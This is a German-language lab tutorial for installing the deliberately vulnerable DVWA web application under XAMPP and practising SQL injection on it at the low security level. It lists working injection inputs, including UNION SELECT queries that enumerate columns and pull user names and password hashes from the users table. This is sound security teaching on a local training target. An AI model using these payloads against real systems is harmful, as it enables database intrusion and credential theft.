Erleben Sie SQL-Injection!

Beziehen Sie DVWA (Damn Vulnerable Web Application) von https://github.com/digininja/DVWA

Wechseln Sie dort in den Abschnitt „Download“ – https://github.com/digininja/DVWA#download – und laden Sie das ZIP-Archiv herunter (Direktlink: https://github.com/digininja/DVWA/archive/master.zip).

Entpacken Sie das Archiv in einen Ordner `c:\xampp\htdocs\dvwa`.

Befolgen Sie nun folgende Arbeitsschritte:

Kopieren Sie `c:\xampp\htdocs\dvwa\config\config.inc.php.dist` zu `c:\xampp\htdocs\dvwa\config\config.inc.php`.

Erstellen Sie die notwendige Datenbank plus Benutzer mit `mysql`, benutzen Sie die XAMPP-Shell:

```
IhrName@IhrPC c:\xampp
# mysql -u root
MariaDB [(none)]> create database dvwa;
MariaDB [(none)]> create user dvwa@localhost identified by 'p@ssw0rd';
MariaDB [(none)]> grant all on dvwa.* to dvwa@localhost;
MariaDB [(none)]> flush privileges;
```

Wechseln Sie zu Ihrem Lieblingsbrowser und geben Sie folgende URL ein:
https://localhost/dvwa/setup.php
und klicken Sie unten auf den Button „Create / Reset Database“.

Alle Instruktionen können Sie stets noch einmal nachlesen unter http://localhost/dvwa/instructions.php oder nach einem Klick auf den Menü-Button „Instructions“ auf der linken Seite sowie unter https://github.com/digininja/DVWA.

Klicken Sie in Ihrer lokalen Anwendung auf den Menü-Button „DVWA Security“ und schalten Sie das „Security Level“ mithilfe der Auswahlliste und des Submit-Buttons auf „LOW“.

Klicken Sie danach auf den Menü-Button „SQL Injection“.

Geben Sie zunächst IDs ein, also 1, 2, 3 usw.

Testen Sie anschließend nacheinander folgende Eingaben:

```
' OR 1=1;#
' ORDER BY 1,2;#
' ORDER BY 1,2,3;# - FATAL ERROR
' UNION SELECT database(), version();#
' UNION SELECT column_name, 1 FROM INFORMATION_SCHEMA.COLUMNS WHERE
table_name='users';#
' UNION SELECT user, password FROM users;#
```

Der Butten „View Source“ sowie der dort zugängliche Button „Compare All Levels“ zeigen Ihnen die PHP-Codes, die Injektionen möglich oder unmögliche machen. Analysieren Sie!

Beachten Sie auch die auf der Page dargebotenen Links sowie den Butten „View Help“.

Vielen Dank und viel Spaß!